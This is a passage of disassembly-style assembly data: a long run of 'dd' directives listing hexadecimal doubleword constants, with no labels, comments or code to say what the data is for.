8CE02313h, 5B850BE2h, 92E2BDF1h, 884557E2h, 44395C32h dd 0A2D2BD79h, 0A1DE554Ch, 447CA2DCh, 0A8D95079h, 566CAA3Ch dd 545354EAh, 0A90EA9F7h, 30ABD5B2h, 7CD55E1Eh, 7B5079A1h dd 3C051B59h, 0D02BA438h, 1927D45Fh, 6F7F1B67h, 6C7CB7CCh dd 2D7968B9h, 0D9DC74EEh, 74710BB8h, 0F896793Eh, 0F972E5E8h dd 68197914h, 73189DDAh, 4A0854FFh, 794932A9h, 0F2937297h dd 0E509E549h, 6576CADBh, 5547EA9Ah, 0EA6FFAA9h, 0D437EAE3h dd 0DD64CD4Eh, 0BA2DBA6Dh, 7D4674B7h, 0A9CCDA16h, 24341BBFh dd 941830C4h, 4E0D4A2h, 0F0D3FF3Eh, 318E61ADh, 6377F8CFh dd 18D9B183h, 0BA6FEA6Ch, 0AA6854CEh, 0BA6BDD32h, 0B4D5B4DFh dd 0AAF96D0Dh, 0DFD4DDA9h, 9A47352Ch, 66D1CCA3h, 0F4063999h dd 85798262h, 0AB98D79h, 0FCD6ABB4h, 7367F99Dh, 8B06E5A4h dd 896312CCh, 2A59A4B5h, 0F6594F2Ch, 0F659F65Ah, 72C1A5Bh dd 0A3968D2Dh, 10CB6696h, 0DA35946Bh, 58C6B32Ah, 0AC6BACCBh dd 5BBFD6D5h, 0B09EB55Fh, 0B19EB29Eh, 0B15EB59Eh, 141B8FF6h dd 19C71517h, 0AE93B723h, 0F287F93Fh, 14C3E42Fh, 8A498AB1h dd 0C546C572h, 0E555C50Eh, 8D65D511h, 7B5C3B54h, 1B4636A3h dd 9DA09DABh, 0FB4BBDA5h, 768776A8h, 768F76B7h, 769F76AFh dd 7B41B6BFh, 1757DB50h, 22EA93AEh, 75BA5175h, 6EDD3ABAh dd 0A07D8F50h, 0FBA0D1Fh, 8D7AC174h, 0D78FACDEh dd 0F553E927h, 5A1B7AE9h, 0A4FF5723h, 2F7E8F7Eh, 7D7EFBA8h dd 0C331E19Dh, 0C3568693h, 6318E328h, 0D1817192h, 0F5127C69h dd 0FEF03BFAh, 0DC7675B2h, 993654B7h, 0D0A48684h, 277D9288h dd 57CC508Fh, 4D78A43Ch, 0A952A319h, 540754CAh, 573EA86Fh dd 0ABEAA2FDh, 55AF562Eh, 0A7DF546Fh, 0ABFEA1DEh, 57F505FAh dd 0A5FE6998h, 26198D1Eh, 0C63B7359h, 31E69D59h, 97CD09CDh dd 0A94D0E9Ah, 6D282FF6h, 0AD33F68Bh, 9BA6974Ah, 0B3A79BA5h dd 0ADD4EEEBh, 0DBABDDD7h, 0F7527BA6h, 0D043EE8Ch, 5FBAF3BCh dd 0A3F54374h, 0F7F40BF4h, 0BFD71FEBh, 3F58FFAAh, 3C0D10C4h dd 4FC6D5Fh, 0D3A623A5h, 0BB591C68h, 1D15E715h, 75E5208Ah dd 0B1CA31CAh, 0A672854Ah, 58B95732h, 57BCA659h, 0A252A0F9h dd 57AAAB1Ah, 0A07D556Dh, 457556FAh, 508F5125h, 0D413D4CBh dd 1D41B50Ah, 0A7514EA7h, 0B3D533ABh, 25EA79D5h, 0EA1577A0h dd 6EFC944Ah, 0B37AAD75h, 87EA77FAh, 0BBD5DBD5h, 418047D5h dd 0AB1FD5A7h, 2E068067h, 4DB8BCC2h, 61CD7BF3h, 34CFEA8Ch dd 0D67E693Fh, 6B076904h, 0AE3DA4FFh, 0A63DD1ADh, 2FEEA3FBh dd 5EEBBFBAh, 35D61DD4h, 427ED303h, 65EBFBB9h, 2AF45BFAh dd 53E9C7Dh, 0BF5B2B14h, 7FA75F56h, 4A78B510h, 0F3FD67FFh dd 30C75EA0h, 6FA87DA3h, 0CB41BBD5h, 0C4BD67Fh, 0A669A6F1h dd 0A989532Ch, 0C9B774C2h, 65DBAC05h, 6CD4CE7Ah, 81F4C77Ah dd 59D313E9h, 41A60FD3h, 811BBEC0h, 4ACC1379h, 0C53CD9B3h dd 6F9E639Ch, 9B9737CEh, 0CD6BCD2Bh, 9F3F98D5h, 3E68BF30h dd 85FF5A09h, 0F342C539h, 0C620449Dh, 5FE4CFF1h, 2A2B47CBh dd 3D557F14h, 5A720A0Fh, 0D3E83DF5h, 0F51F5555h, 0F534EAF5h dd 7542F51Ch, 21EA7A0Dh, 53EA73F5h, 9FD48FEAh, 0F3EADDABh dd 17582BEAh, 9AA46984h, 5032B09Bh, 1B1AB468h, 0D34BBD6Ah dd 2301F9AEh, 51B68F74h, 7559D7ABh, 0E8D9BAE9h, 4F7587A9h dd 5EE976E8h, 6DF9D40h, 0BBAD7D76h, 0DFD08BA2h, 2FD4CFA4h dd 0A55B8D06h, 0F4BBD6AFh, 0A30FEB0Fh, 7EAAECFh, 6786F418h dd 4A0CC70Ch, 33E34AE3h, 315E3398h, 0C99C62B6h, 0F4DB34Dh dd 7D36DE98h, 74CCFA68h, 1A89D4DEh, 0CDAB348Eh, 96792CE3h dd 2C47960Dh, 7FDB40A7h, 0FA5A74B1h, 0E461075Ah, 5AC6B68Ch dd 5A175A67h, 0AC2BAC4Bh, 5AF7AC1Bh, 0B17F59B7h, 0E259C506h dd 0C5E6E372h, 8C6DC515h, 376E2FBBh, 0B8C9F2A8h, 36A7848Bh dd 9E4DE309h, 17904F20h, 37CB57CBh, 1F969FCBh, 7945F96h dd 8629FA29h, 79145228h, 0A98C228Ah, 2A4F14FBh, 7D52814Eh dd 0F149F8ABh, 1153A28Bh, 1CAA1CA1h, 0F6044CAFh, 2A372814h dd 95BA559Fh, 2AA95423h, 0D513EA9Bh, 0E078F570h, 0C2602CCBh dd 874FB419h, 0AE13443Ah, 6B44D489h, 34133462h, 93598D6Ah dd 0EAC749A4h, 0AEC6AE69h, 0DA146871h, 0A8D1DA79h, 0BFFAC3FFh dd 348CBE63h, 0D2A1814h, 6E1A9Fh, 38C2FD2Dh, 0B4C534D1h dd 0E9ACF4D3h, 0E86DD325h, 0C7682739h, 0ECF5587Dh, 0F59DFF32h dd 64341B9Ch, 22D22580h, 0E65A64B7h, 71400A59h, 0ADD88689h dd 0B8D4EB4Eh, 42C27143h, 1D24A1E8h, 5F0BA0EDh, 0A314C3CBh dd 15857215h, 0CA23C3B3h, 0F5065457h, 0FDF16054h, 93D547EAh dd 57F47A34h, 0CD1EE6A5h, 0DD00CD56h, 0EE925D64h, 8C66DD1Eh dd 57DD56A7h, 0EB473998h, 0F5F3F473h, 0F427FAA5h, 0E21AC47Fh dd 4346FEACh, 0E18E6186h, 187F862Fh, 373E1A8Eh, 18871884h dd 18E6326Fh, 1B8F8DF3h, 0D5FE369Fh, 613C68D8h, 0C9FA691Ch dd 374E6E14h, 31DB33CFh, 5E69DFBBh, 7E653E65h, 0F7CAB31Fh dd 549450E6h, 6515B966h, 22F2CA7Dh, 0EB3F4468h, 0D611D675h dd 0D639ADDBh, 0D69DD6F9h, 0E3C37121h, 0B8BA7114h, 90C6B1AFh dd 5A6F5E30h, 0CF954C63h, 0F7E5DB94h, 0BF931FC9h, 2E5CFF2Eh dd 0B8A75C51h, 91593151h, 58A398AAh, 3C56A8A4h, 38ADD8A0h dd 2F9066C6h, 2E28DF15h, 8228AE28h, 8395FD95h, 0A395C395h dd 0C9CAB194h, 0F5E61D4Ah, 0E522CAD9h, 0CA03E506h, 0D4C32B3Fh dd 18ADA8B7h, 3EAC7CADh, 50735A0Eh, 12660AFDh, 762BD62Dh dd 5EA6B94Dh, 1A68CF3h, 9ABBCAF3h, 345735EFh, 6837B503h dd 6D2CDA75h, 0BB5AB6B1h, 0F680FB59h, 0DAFBED55h, 0B55FDA4Bh dd 3A3174A3h, 4BA8CE95h, 44B10CC0h, 0B77746B7h, 77EE936Eh dd 23BAEDBAh, 0DF754FBAh, 42E92EEAh, 37F483F4h, 13F463E8h dd 0DBB406F5h, 0FD7AFD4Ah, 9AC0AC56h, 2FD12B0h, 418C6894h dd 0DC30486Dh, 9865986Eh, 286C5867h, 0AFA05436h, 31EE1837h dd 0B3F98F3Ch, 0BC6110DDh, 0DC6298DEh, 34C5BC6Dh, 0FDC9B315h dd 0AEB14FA6h, 681135A1h, 0DE3DA28h, 1154A1F4h, 0A3181685h dd 28A62BD0h, 140B14B2h, 40BB8A65h, 78AF7F51h, 0C50FF14Ah dd 8A5BC551h, 7E9731F7h, 98AAB8AEh, 0AC029CA8h, 0B5F94CFCh dd 45E53BF2h, 40E555E5h, 44D528D5h, 0E6035D50h, 915554D0h dd 7BAA1CAh, 0AA5D83EBh, 551AAABFh, 631F5427h, 460BF20Dh dd 4DF530F8h, 513AA36Ah, 67ABB7Dh, 40739DD6h, 9C6076E5h dd 45BEA9BFh, 0B56AD72Bh, 0B4DBDA71h, 0B5F3B5B3h, 0DA15DAF9h dd 69DFDAF5h, 62776BB7h, 33A51DF6h, 0C55EF683h, 0AF5FD14Ch dd 5315CC7h, 0FD62C533h, 0F501BD1Ah, 734D414Ch, 6B0CCB0Ch dd 13F83EB0h, 0C631286Ah, 6B31B318h, 18571B16h, 8C9B8CABh dd 93328D5Bh, 631D34C1h, 0AC1400BAh, 0FB9DCD8Eh, 0C07EBF41h dd 0B366EE6Ah, 7A059CD5h, 6ADE6655h, 803E6DDEh, 7329D5D5h dd 7815B98Bh, 0B3F4B124h, 6F5CB20Ch, 67196D19h, 2D925AB1h dd 0E5BD63B7h, 3CB7ACB4h, 3F7FB0C0h, 0CB26CF66h, 0A047CB69h dd 52ADFD05h, 0D69181D0h, 0A82E6B38h, 0A375A540h, 93EB61F5h dd 0CFAC67D6h, 9FAC5B5Bh, 7EB4BF5Ah, 3713ED63h, 0B8C6EE22h dd 0C7C6E39Bh, 71CCE3A9h, 0E2B2E353h, 0E24AE20Ah, 8BADC456h dd 35B714DBh, 9DB8F1EEh, 0BDC74F71h, 0DC4AF710h, 0C71F71BBh dd 14FDC5B5h, 0AD10BF7h, 0E8F60CEAh, 84795F4Bh, 8C7C847Ch dd 17563C7Ch, 66EAAC7Ah, 0B600EFC9h, 0CA57CB16h, 0C5EFC8D7h dd 0F2AFEA0Eh, 40C7E4E7h, 35670845h, 4CC5348Ah, 4D8A9DC5h dd 0B7A03F8Ah, 0A87C575Eh, 0F41CC368h, 81A0E60Bh, 78CA61CAh dd 53D63E65h, 54C39417h, 0AA855463h, 0D463D4EBh, 0AC5AD593h dd 0DB3153FEh, 639755CCh, 0FA84F46Fh, 0E6867535h, 1AA7CD39h dd 5B3A7693h, 0BF6937F9h, 0EDA4FED4h, 0EB1A7BA3h, 0FF7537E0h dd 2BD68DD2h, 0EF533F5h, 91D04EFDh, 0C9CFB14Fh, 0CB98605h dd 1A761A8Fh, 339C343Eh, 58ED1AE4h, 1E321FE3h, 9AB508C3h dd 660EC36Eh, 8B7CDA2Dh, 0C29373E9h, 0A087326Ch, 0ECB41F45h dd 0B16B3CB4h, 4FAD8B58h, 0B58CFF59h, 41760346h, 59CF5AAFh dd 89CEB47Fh, 8A5B8FCBh, 718FFFD5h, 1DFF549Dh, 324B5BD0h dd 0F2A1F288h, 0EC58F291h, 0BBE4AA02h, 0E22B37E5h, 93B1AB14h dd 0DB758C19h, 951FE52Ch, 0AAF5AAB1h, 0EAB55467h, 0D805EA63h dd 8CD7EE1Bh, 0E755FED4h, 0E9671946h, 0F53BFAEDh, 0DFD68177h dd 0FF447FA7h, 0CED3EC17h, 0D25113E8h, 5007868Dh, 0B2833FD2h dd 6134321Ch, 0B0D57575h, 0E7923B1Ch, 1CB57F8Ch, 0C96DBCB7h dd 0CB5916B3h, 16B0BBADh, 5472D097h, 0AF4E8190h, 3F253F92h dd 0DE45FF23h, 6E2A9729h, 98A6DC51h, 3EFB58Eh, 0E915178Ah dd 7CE52CCAh, 6AE572E5h, 77D61565h, 2BF72A8Fh, 0EABEC75Fh dd 5526F28Ah, 0AC41EAB1h dd 35519FB8h, 0CE06DEA9h, 0A57F6087h, 17AB2757h, 0F56397A9h dd 75FA92F1h, 8BEA27F5h, 0F7353BEAh, 3CD7EE6Ah, 734A79A4h dd 0E69DF35Ch, 561066AAh, 53B5934Eh, 0AB9A72B1h, 0D69ED32Dh dd 0B0AAE8E6h, 4EA3FA46h, 2DE857AAh, 0B047EF68h, 0FEABFE9Eh dd 0BD5FD81Fh, 9F63706Fh, 49F198FBh, 0FE319E3h, 324EEDD8h dd 7D9E6217h, 0E831FCDBh, 0ABE64FF4h, 96E1E368h, 2C5B9651h dd 8B2A2D13h, 558292C9h, 0D89617F6h, 25B8E4B8h, 3B71E571h dd 7DC5F6E2h, 0F639F718h, 0CC31D008h, 0F2A5ED04h, 0E55BF2D1h dd 30FBE4BBh, 6D2A24E3h, 3CCA39CAh, 69CA43E5h, 305BB118h dd 0FFABCF26h, 0F35179A4h, 0E3145601h, 77B433B4h, 0D4EE3463h dd 587B4DFEh, 0D4CBA61Bh, 0FB7CA055h, 6D75A775h, 0C58C4F58h dd 4A0375DAh, 43BE85F8h, 60C1BD7Fh, 5586258h, 0D0DC7DEAh dd 1C6FE866h, 48C34C6Bh, 0D47C60DCh, 81F8D478h, 318C3B1h dd 74DB33AAh, 9FE0C627h, 0B731C74Ch, 0B7C5412Ah, 9F379F9Ah dd 0C7BE0D40h, 4B16F55Ah, 0B2CAA5BEh, 0CB7BF2D5h, 0AC11CB01h dd 0BF40DF4Eh, 0F6D58FBCh, 2DEF9637h, 58FA5B3Fh, 5837AC23h dd 0C49EC66Fh, 0CD6A9D62h, 0CD63E6B4h, 3D75977Ah, 0D6FDDCC6h dd 7F73D147h, 640E92B1h, 0CD90494Ch, 7EBAC5AEh, 0D637729Bh dd 73CA2DF5h, 4DB574CAh, 5CEA59Dh, 0E7542F9Eh, 1AB10BABh dd 0B03B532Ch, 0D6CB3AB2h, 82D59716h, 0A7731426h, 0F98A935Ch dd 0AA9B5E32h, 417369B5h, 0DBB4AA83h, 8BDD82B0h, 0FD41E855h dd 0EC29FD51h, 510C4268h, 21D8D386h, 0CD439885h, 0DE56DDE1h dd 79927372h, 0F99C762Eh, 506295E8h, 41560715h, 6CDF16B4h dd 6E5A82DEh, 3BAACC3h, 798F6674h, 0A834F9AFh, 0D9F459CCh dd 0F379F339h, 7365F305h, 84B05987h, 0E12D4258h, 0B0662916h dd 0B8B44B28h, 79809F66h, 63D16D57h, 496F1FAFh, 6C5AA4B2h dd 0FDEC2C96h, 0A2165AE6h, 0C52D0A9Dh, 38B3296h, 6835B4BBh dd 0AD4B1AB3h, 0B65B365h, 659B6EDAh, 0DF8F65B7h, 8D6A5F3Ah dd 63F1AEF4h, 72AC13ADh, 0B7AADAABh, 0D6F1AD9Ah, 35AA6B24h dd 66B36ADDh, 0C5CD7681h, 5ADF262Ah, 66599188h, 0AD8E8075h dd 6B5956B1h, 5738B5ACh, 0C56D6338h, 518DC05Eh, 950ADE7Ah dd 968B78BCh, 0E55240CEh, 2CE29C36h, 0C7621794h, 59D18953h dd 0DF22DF2Bh, 0DF21DF26h, 9F956F23h, 0E7E5BB95h, 20BEB7B0h dd 0BBDD8CBFh, 845108A0h, 4F98D42Ah, 0E6AB3092h, 10B65F62h dd 0C50ECA73h, 4ECDEC3Eh, 5692E61h, 12BDA28Dh, 0A341F36Eh dd 0CA85CA6Ch, 0FA256562h, 707A336Fh, 0F62F72ABh, 0FED9FBCCh dd 41BABF6Ch, 8CDD547Dh, 0EB0B4EF5h, 0F3580BB5h, 46115808h dd 2C4F35B1h, 9A4918D6h, 9B5D982Dh, 2D35A735h, 59CD569Ah dd 45AEA34Dh, 2B2D1E77h, 0D1CA6B45h, 72D63682h, 0B9906AD4h dd 0FB61B264h, 0D6B16714h, 0ACB8A0BAh, 0AACCAB50h, 9B8BA085h dd 0C06F2AB1h, 7556758Ch, 0F9C5254Eh, 49D5988h, 0B9C3297Ch dd 237576C3h, 0DF0E7EBEh, 0D8C8D28Dh, 6B0CAAEAh, 0DD9AED9Ah dd 0CD29E2F8h, 641DEC05h, 63A4FFD8h, 0E604AF3Eh, 9CE606ECh dd 43A23EC2h, 0D58BA21Bh, 0BA5975C9h, 0B5D518B9h, 3718BDBAh dd 868586B9h, 0E6194342h, 5B9C2AE5h, 336C316Dh, 31EC30ECh dd 183433ECh, 98CD0D1Ah, 0DFB05AC3h, 1BCE1B71h, 63041B2Eh dd 24D431A8h, 64994535h, 4CAC58A6h, 5378A6F5h, 7386C9AAh dd 0BD9885AAh, 0D8954CCBh, 0C282D60Fh, 0C0ED336Eh, 533EC509h dd 0AB11A983h, 0D0C053F3h, 0AB1B9356h, 126CBD7h, 96052A98h dd 72A180CAh, 6F1CDEB3h, 0CCDB354Eh, 42D2C0B9h, 0B0256860h dd 0B9D816B3h, 0C7B9980Dh, 60DCCFBCh, 82CEF46Eh, 65E6E06Eh dd 85A85EB4h, 459F6B4Bh, 660F517Bh, 2A170FA1h, 5587D1F2h dd 63D82D8Ah, 283451EFh, 15A7159Ah, 0B3C9E82Dh, 4DE8738Ah dd 1D31FA33h, 9CAB993Dh, 57CCDE8Bh, 0CB47A216h, 8F710E94h dd 0A79527Dh, 0CA2D50A7h, 0E556CA33h, 0AA95551Ah, 0DAAB5546h dd 5683DAA6h, 60B5566Fh, 2D413095h, 8CDCD8C7h, 353EC175h dd 8C29F9F5h, 0A3180BD2h, 0F448EA1Dh, 6CAC04F5h, 73FAD1E3h dd 0C4ADAAB1h, 66BB67DEh, 0A0E07A07h, 7EBD11A6h, 0C9C6E356h dd 54368846h, 3E138E1Bh, 0D5AD56B9h, 69672463h, 6B23D10Bh dd 8EDE68D8h, 0ED7EE97Dh, 0F6B36D51h, 0D6ACF6A4h, 15A73DADh dd 1CA95DC4h, 5D2CD2ABh, 0A1C97A2Eh, 74EAC4ABh, 8EB8CE3Bh dd 1A7A3D62h, 8C59C773h, 6EA00BFCh, 3B5A0621h, 486BB0CBh dd 0F45CC32h, 63B61956h, 0BD1FB7D7h, 6B3862D6h, 555AC0E8h dd 0B927B38Ah, 0AA9D8F51h, 56E13303h, 0BDD076E3h, 0E359E316h dd 0FA246339h, 9B326D4Fh, 3567D1F2h, 0BDD8CDA6h, 0C5ED36EFh dd 0E9A0E44Ah, 0BFCBFA28h, 0DBB1A2AFh, 0E897A330h, 0B406AAE4h dd 97EB1B63h, 0E833E6A3h, 22140111h, 0CA9CB806h, 9181D970h dd 0BF51835Fh, 0FB03B2D5h, 0F396B392h, 0ED18CB96h, 24F08C32h dd 8C5CEA8Ch, 0E48C32E6h, 0ED2F9C1Ah, 4F5A36B1h, 0B79F1462h dd 0C645C686h, 0C7D3884Dh, 0E2CAE2D9h, 0C4B6E26Ah, 13DB8B6Dh dd 943B1FB7h, 55EC7173h, 8E6B609h, 9CE24797h, 9E318E56h dd 25469585h, 0CC76F646h, 9230E782h, 0EC321523h, 0A338F5FDh dd 21452CAh, 358A1C03h, 66C51A8Ah, 0E68C36C5h, 0CF0EAC06h dd 0CA093460h, 72A46550h, 2C0D5282h, 0EFEF45C8h, 466DF8C6h dd 0E795BB6Fh, 0AE146671h, 504D518Ah, 15AC63A5h, 0A3588563h dd 0DF9E82DAh, 0AA3FBE87h, 0A0BAA33Ah, 634550EAh, 5A0F1C1Fh dd 0AEA310BDh, 0DA40FB12h, 0B8C3EEEFh, 202C033Bh, 4A021D3Ah dd 865E634Dh, 2E072F11h, 32166964h, 0D9AAD83Ch, 3587D9A3h dd 81300340h, 8C19E3C6h, 851B4148h, 2C208F3h, 8D8936B3h dd 0EAA0B9CCh, 0ED5ADA65h, 0FDCE8C56h, 51FE7D8h, 0CF68B41Eh dd 44278CE3h, 6BA1C827h, 0AFE7425Eh, 290168A1h, 1E4A20DAh dd 25A1972Dh, 5795B026h, 6D234E3Ch, 77A0B9F2h, 0D056F90Eh dd 76A0EDBAh, 0F6EF41BBh, 0F7C9F7CAh, 47E51BCBh, 0E41746D1h dd 3C4EB432h, 0C0D74A3h, 892B4FD7h, 7F63448Ah, 558EA31Fh dd 0B1AB6E13h, 8EA33022h, 0F1795849h, 0A711A979h, 8E66548Eh dd 1886D15Fh, 0E1AC04C3h, 74B2C0CDh, 2D301643h, 778AB1Fh dd 8635B856h, 86AD86CDh, 581DC6EDh, 0EE31EFBFh, 3F758EC5h dd 620E86CEh, 2714744Fh, 0A78D2744h, 6D81A78Ch, 3D8BB067h dd 0E703746Bh, 182F1BCEh, 15D6632Fh, 50A6214Ch, 48E83853h dd 34492824h, 0B00C4968h, 89E80271h, 0CC5141Ah, 0AA04929Ah dd 25341732h, 18A5541Fh, 2C01C574h, 0B2DA035Dh, 360724D9h dd 0E835051Eh, 6634730h, 5BE07CAh, 14FC2ECEh, 0EFF024E9h dd 0D2C5A5B4h, 0D7AC116Ah, 0FDAE3B2Eh, 3 dup(0FDAEFDAEh) dd 0FFF7E8h, 800016A6h, 746D3AEDh, 2395D713h, 0CFE5964Bh dd 80764111h, 9304C138h, 6B25F090h, 63207F2Ch, 916480D9h dd 961060DAh, 0D76D431h, 30718C18h, 347C3335h, 163250FEh dd 4D28BC30h, 736DDB76h, 2E2126DAh, 0B367BB69h, 47C9CAFDh dd 11615093h, 42C92103h, 93838268h, 8E9A10C6h, 0E29C103Ah dd 661C1962h, 3237DEFh, 0BBBA7A69h, 9ECF763Fh, 0DE73AB3Dh dd 0BDEEF7BCh, 0EEFBBDEFh, 0FBDEEFBDh, 0FAB15466h, 30CF4671h dd 0AA8A018Ch, 8CCBCC32h, 0FE612BF6h, 943F5FE3h, 49BFA9B4h dd 7C485E63h, 0BACBDA7Bh, 0ADA7B7F2h, 2DB4DA6Ch, 0EB5B6B6Bh dd 786B6C6h, 6C35D6B3h, 67CAD2D9h dd 6ACC6DADh, 6D64B613h, 78B592DAh, 0C1EB3799h, 738DF5D6h dd 0B2935353h, 0F82C7363h, 0BB2BE6EEh, 8C0FE386h, 55B1E697h dd 0FA821E07h, 14EDD42Ah, 0CD03866h, 45C278B5h, 0DD1EDFBh dd 5D683A07h, 0AD276073h, 62BD69EBh, 1C26BAD3h, 0A55BCE3Fh dd 75CA618Bh, 67CA6606h, 195B1BA1h, 25A6D264h, 989212EBh dd 6931D029h, 0C2F793B0h, 4AC50CC3h, 8EDA66BBh, 30C1E4D3h dd 1BE66B37h, 31713B37h, 0A37B4A52h, 6DC7AAD6h, 0D40CF30Ch dd 2AF981DFh, 0F09EFFh, 0E63A2FF9h, 7983FEBFh, 0F41DFD57h dd 2771BE5Ch, 9347F50Fh, 0B94D0C63h, 2FDA1375h, 0B733760Bh dd 0DF037D6Dh, 63E9D300h, 0BB9A477Bh, 82074CBEh, 91AB992Bh dd 0C77F0531h, 9A1C0028h, 0D2D8D6DBh, 64618EBAh, 2A37B69Dh dd 42BFBBA4h, 0FFF990B7h, 1FAAFFDFh, 0EA6D9C59h, 0CC612DC9h dd 58F730D0h, 833721A1h, 82420429h, 0AA4952BEh, 0D3512E6Ch dd 95CC3CC1h, 0AD0043F2h, 0B915709h, 0DA295C4h, 0D57C5970h dd 0CAA70474h, 64ED4107h, 6F857028h, 0F3CF17F0h, 6E83130Ah dd 1B010C1Dh, 795121A8h, 12550C32h, 0DA66F27Ch, 711397EFh dd 0A5725501h, 6A958908h, 27A601BAh, 7080C0D1h, 6AF8F55Bh dd 272BDFA4h, 22A47AE3h, 0C88E4BC5h, 53EDB0F3h, 5B804DD3h dd 1B575F53h, 0BF5C1BFEh, 0A95C8600h, 29345091h, 0A57B36CFh dd 0B361C454h, 0F7E9982Ah, 0EA5221D1h, 0FA1E786Ch, 44E4E24h dd 0C05FDA6h, 0A4838399h, 3216D9C5h, 13FF76C4h, 3D9AA508h dd 0D18B7468h, 0E8DBF616h, 96ED90Eh, 0CE5CA29Eh, 0C369FB76h dd 3C7857C0h, 0D423D5BCh, 6E191707h, 32A48888h, 0D089BB38h dd 23B07BF9h, 24950C86h, 0D6056F2Ch, 0DF9B146Ah, 2C1EC498h dd 0E5592F16h, 548CF1C7h, 0FD6133CBh, 9D251A9Ah, 6CA28C22h dd 8D473F95h, 11E7E544h, 0F6E7BEAFh, 606C3317h, 0B0AAAAABh dd 0F549A1h, 135DABA9h, 6A700B26h, 4AB8ED5h, 7E601997h dd 9C4FCE33h, 0DE229DAAh, 0D2812893h, 0F95BCA2Bh, 0FBA3009Fh dd 0A602B22h, 1F9B8ED5h, 0F2AC3667h, 65906D9h, 52CC830h dd 5251FB01h, 9F8F9081h, 0C7A0AC47h, 37E5AAFBh, 0D068E171h dd 0D6ACA86Dh, 50918868h, 9D24FA79h, 0A4726826h, 85CC2EBEh dd 2E2C2EAh, 0CE7C3384h, 27C45C7Eh, 0C4374C86h, 864BADA2h dd 352271AAh, 0BA200CDDh, 69493114h, 1C8EB592h, 0ED420709h dd 72746299h, 1524EDC7h, 1F9FD949h, 2E1153D5h, 8381AB97h dd 14A4709Ah, 0B13C302Ah, 67E18523h, 0A6261D88h, 273C2A7Dh dd 0AFDE4C77h, 0AA4CBBD1h, 0C78FA290h, 80DDB131h, 0BD86D68Dh dd 67C23E55h, 0EE01B99Bh, 90B2E3A2h, 77B885C8h, 7C882C23h dd 0AAFF865Fh, 0F40D9AB5h, 4EC19480h, 0A3FC99F7h, 0FF78F93Bh dd 4BC12AE8h, 22A8DC86h, 249EDAD5h, 0F15D85AAh, 5B252CA0h dd 0BBB01B54h, 4AD5BB01h, 0B296A8BAh, 0D12FE8Fh, 0DFB37541h dd 2E3629FEh, 0CD3337E5h, 7C956F66h, 77F41D30h, 47219C94h dd 9D1FD49Eh, 94448678h, 0F347FB9Fh, 0A3FC8ABBh, 327CF6D6h dd 4627DCA4h, 8A76BBF3h, 0CCCD13A1h, 1226CD93h, 2ADE92F5h dd 396CBC30h, 51F50300h, 6265B350h, 0FA44B92Fh, 511068DDh dd 29BFC76Bh, 0CEAFF80Fh, 6D9EBE91h, 8E9211h, 92ABBD16h dd 53B954B5h, 0A6BB1354h, 0B049AAC1h, 57AFE7AAh, 0B6766B75h dd 9ED88CEBh, 84F8616Dh, 53C48F91h, 0BF80C8CCh, 485EBDB8h dd 73E4FB71h, 593555D7h, 433E49AEh, 0D0A720DEh, 0FBA40A6h dd 26E3405Fh, 355F2615h, 2FC8289h, 0EFE0A0A1h, 86ED09Ah dd 0DC96DB1Ch, 6CA73097h, 4F103E4h, 4E4FD233h, 8C109F26h dd 32D6097Dh, 0AE680165h, 0B6080BB0h, 0A5645E73h, 0D1FCB972h dd 87523844h, 80D37BACh, 20775E9Fh, 74A6D524h, 7639C79Dh dd 628D7EFCh, 0B8CFBA5Ch, 0E82CA137h, 76863BF2h, 604BEE5Ch dd 858EEBEAh, 5F23F27Dh, 0EF819D80h, 0A3C5E210h, 0DAB85D6Ah dd 0FE042F27h, 7A247C6Ah, 0E51958Bh, 0AB554831h, 60182982h dd 69B554C6h, 7C2A9595h, 0E1E25431h, 8EBE094h, 0B309BF94h dd 70B1FD5h, 10C8F98Eh, 427E01FAh, 6A7C420h, 0EE2674AEh dd 5CD7B09Bh, 1854BA52h, 0D85D7041h, 14C04707h, 0BE433F73h dd 3CB8A71Bh, 0FA4954DBh, 0F4D0D7E4h, 0F0F91980h, 0E2029E18h dd 4C4B8036h, 2481E26Bh, 7B941A76h, 242AA8C4h, 5B60B534h dd 213AA311h, 0FBF17D5Dh, 0FA698616h, 0E3144686h, 1BFFD80Bh dd 291A0AFEh, 66D13EE0h, 747AE3E5h, 9B76579Eh, 0F0312721h dd 0C5993E99h, 3D3F65C5h, 6333F27Fh, 24A290F4h, 69D8AB14h dd 72E9F860h, 200A86A3h, 544C0B6Fh, 0F1B5A70Ch, 4F8A4271h dd 0F6DE8D3Dh, 26A2144Dh, 0D642F139h, 5B5B5E2Dh, 0C6F665DFh dd 0E5C72F96h, 0C87C5FBh, 5C813E3Ah, 32240F93h, 38FE578Ch dd 0D7CA7D11h, 0AA8E20Ch, 0CA2F411Eh, 0C3C53F0Ch, 0B27C3D1Bh dd 95EA9847h, 43B014E5h, 86CF500Bh, 1349431Ch, 0A2427547h dd 0A965AE57h, 0D222BF83h, 0BBF8F89Dh, 326572BCh, 0BFCB2E82h dd 3E394EBEh, 66E6ED75h, 0C324B05Ch, 6A9B3417h, 49EBF82h dd 831D8203h, 0E9000F97h, 0BE0D205Eh, 24AF108Ah, 24754166h dd 39149301h, 6A42A71Eh, 494E801h, 49C3CAFh, 8EBBE400h dd 0F2E39077h, 2DABA1CFh, 8867C25Dh, 81309D0Eh, 0C6132688h dd 0D6013E32h, 1A9AC0B4h, 514F8B3Ah, 0EB7093EDh, 0D4B181CFh dd 2138C068h, 5631ABC1h, 6698E6BFh, 81E28F6Eh, 7D78A570h dd 0AEE392E3h, 124F0168h, 0AEB7E4C6h, 86C210AAh, 0AB50C3E5h dd 0B2E4B0C2h, 73604C8h, 0A242CB21h, 9D4574FBh, 5D9F0CE4h dd 92CF8D34h, 4A8A059Fh, 66F27688h, 22AB83C4h, 58D55243h dd 2C2BB6CCh, 5D7B74FBh, 24307B2Ch, 0DFB1E746h, 0F24B0FDEh dd 1A7945DBh, 4CE316BFh, 0C5CF878Bh, 0BF87AA7Ah, 361E3CDh dd 0CFFCE113h, 0ED477EBAh, 97630458h, 6844FAFEh, 0BB998A9h dd 0B56F3E63h, 30C09CECh, 0FEFA0511h, 847BBA5Dh, 6C6BE48Ch dd 25E819F7h, 0F76C630Bh, 7E446849h, 0D7E98F06h, 63A8C3A7h dd 4042E2D0h, 220DF811h, 0DAB701FEh, 131AEC97h, 9527E88Ch dd 0A98CD8D4h, 0EA325EA0h, 0B1E760EFh, 791348DDh, 22C04682h dd 0F787A37Eh, 944E7879h, 457BF8B3h, 0C93E2EF9h, 8E7611E3h dd 0A5391E9Ch, 0EDE2C1B4h, 35F27242h, 161618A1h, 0C9D5950Ah dd 0C76B93D7h, 75DCD594h, 